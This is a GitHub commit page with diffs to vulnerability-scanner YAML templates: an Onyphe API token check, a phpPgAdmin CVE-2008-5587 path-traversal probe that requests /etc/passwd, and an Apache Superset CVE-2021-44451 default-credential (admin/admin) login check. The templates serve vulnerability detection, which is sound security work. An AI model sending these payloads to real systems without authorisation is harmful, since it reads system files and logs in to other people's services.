-
Notifications
You must be signed in to change notification settings - Fork 238
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
4ed1a5a
commit b66b2ad
Showing
27 changed files
with
596 additions
and
448 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1 +1 @@ | ||
| 20240902 | ||
| 20240903 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,46 @@ | ||
| id: api-onyphe | ||
|
|
||
| info: | ||
| name: Onyphe API Test | ||
| author: 0xpugazh | ||
| severity: info | ||
| description: Cyber Defense Search Engine and Attack Surface Management | ||
| reference: | ||
| - https://www.onyphe.io/docs | ||
| metadata: | ||
| verified: true | ||
| max-request: 1 | ||
| tags: token-spray,onyphe | ||
|
|
||
| self-contained: true | ||
|
|
||
| http: | ||
| - method: GET | ||
| path: | ||
| - "https://www.onyphe.io/api/v2/user" | ||
|
|
||
| headers: | ||
| Authorization: Bearer {{token}} | ||
| Content-Type: application/json | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
| - type: word | ||
| part: body | ||
| words: | ||
| - '"apikey":"' | ||
| - '"apis":' | ||
| - '"@timestamp":' | ||
| - '"@category":' | ||
| condition: and | ||
|
|
||
| - type: word | ||
| part: header | ||
| words: | ||
| - 'application/json' | ||
|
|
||
| - type: status | ||
| status: | ||
| - 200 | ||
|
|
||
| # digest: 4b0a004830460221009fbed819ee5f0de6054a6047d01ebacb9d75d95720706390d43f106acab4f6dd022100fe6c8c822772b3c74bbdbda483facd2f7b9f791c446871c3de34417474affd3c:922c64590222798bb761d5b6d8e72950 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,27 +1,28 @@ | ||
| id: CVE-2008-5587 | ||
|
|
||
| info: | ||
| name: phpPgAdmin 4.2.1 - '_language' Local File Inclusion | ||
| author: dhiyaneshDK | ||
| severity: medium | ||
| reference: https://www.exploit-db.com/exploits/7363 | ||
|
|
||
| description: Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php. | ||
| reference: | ||
| - https://www.exploit-db.com/exploits/7363 | ||
| - http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/ | ||
| - http://web.archive.org/web/20160520063306/http://secunia.com/advisories/33014 | ||
| - http://web.archive.org/web/20151104173853/http://secunia.com/advisories/33263 | ||
| classification: | ||
| cve-id: CVE-2008-5587 | ||
| metadata: | ||
| shodan-query: 'http.title:"phpPgAdmin"' | ||
| description: "Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php." | ||
|
|
||
| shodan-query: http.title:"phpPgAdmin" | ||
| tags: cve,cve2008,lfi,phppgadmin | ||
| requests: | ||
| - method: GET | ||
| path: | ||
| - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00' | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
|
|
||
| - type: regex | ||
| regex: | ||
| - "root:[x*]:0:0" | ||
|
|
||
| - type: status | ||
| status: | ||
| - 200 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,67 +1,68 @@ | ||
| id: CVE-2021-44451 | ||
|
|
||
| info: | ||
| name: Apache Superset Default Login | ||
| name: Apache Superset - Default Login | ||
| author: dhiyaneshDK | ||
| severity: high | ||
| description: Apache Superset up to and including 1.3.2 allowed for registered database connections password leak for authenticated users. This information could be accessed in a non-trivial way. | ||
| remediation: Users should upgrade to Apache Superset 1.4.0 or higher. | ||
| severity: medium | ||
| description: | | ||
| Apache Superset up to and including 1.3.2 allowed for registered database connections password leak for authenticated users. This information could be accessed in a non-trivial way. | ||
| reference: | ||
| - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/apache-superset-default-credentials.json | ||
| - https://lists.apache.org/thread/xww1pccs2ckb5506wrf1v4lmxg198vkb | ||
| - https://nvd.nist.gov/vuln/detail/CVE-2021-44451 | ||
| tags: apache, default-login | ||
| classification: | ||
| cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N | ||
| cvss-score: 6.5 | ||
| cve-id: CVE-2021-44451 | ||
| cwe-id: CWE-522 | ||
| metadata: | ||
| verified: true | ||
| shodan-query: http.favicon.hash:1582430156 | ||
| tags: cve,cve2021,apache,superset,default-login | ||
|
|
||
| requests: | ||
| - raw: | ||
| - | | ||
| GET /login/ HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Origin: {{BaseURL}} | ||
| - | | ||
| POST /login/ HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Origin: {{BaseURL}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
| Referer: {{BaseURL}}/admin/airflow/login | ||
| csrf_token={{csrf_token}}&username={{username}}&password={{password}} | ||
| - | | ||
| GET /dashboard/list/ HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| attack: pitchfork | ||
| payloads: | ||
| username: | ||
| - admin | ||
| password: | ||
| - admin | ||
|
|
||
| extractors: | ||
| - type: regex | ||
| name: csrf_token | ||
| group: 1 | ||
| part: body | ||
| internal: true | ||
| regex: | ||
| - 'value="(.*?)">' | ||
|
|
||
| req-condition: true | ||
| cookie-reuse: true | ||
| matchers-condition: and | ||
| matchers: | ||
| - type: word | ||
| part: body | ||
| condition: and | ||
| part: header_2 | ||
| words: | ||
| - '<title>Redirecting...</title>' | ||
| - '<h1>Redirecting...</h1' | ||
| - '<a href="/">' | ||
| - 'session' | ||
|
|
||
| - type: word | ||
| part: header | ||
| part: body_3 | ||
| words: | ||
| - 'session' | ||
| - 'DashboardFilterStateRestApi' | ||
|
|
||
| - type: status | ||
| status: | ||
| - 302 | ||
|
|
||
| # Enhanced by mp on 2022/03/02 | ||
| extractors: | ||
| - type: regex | ||
| name: csrf_token | ||
| group: 1 | ||
| part: body | ||
| regex: | ||
| - 'name="csrf_token" type="hidden" value="(.*)"' | ||
| internal: true |
Oops, something went wrong.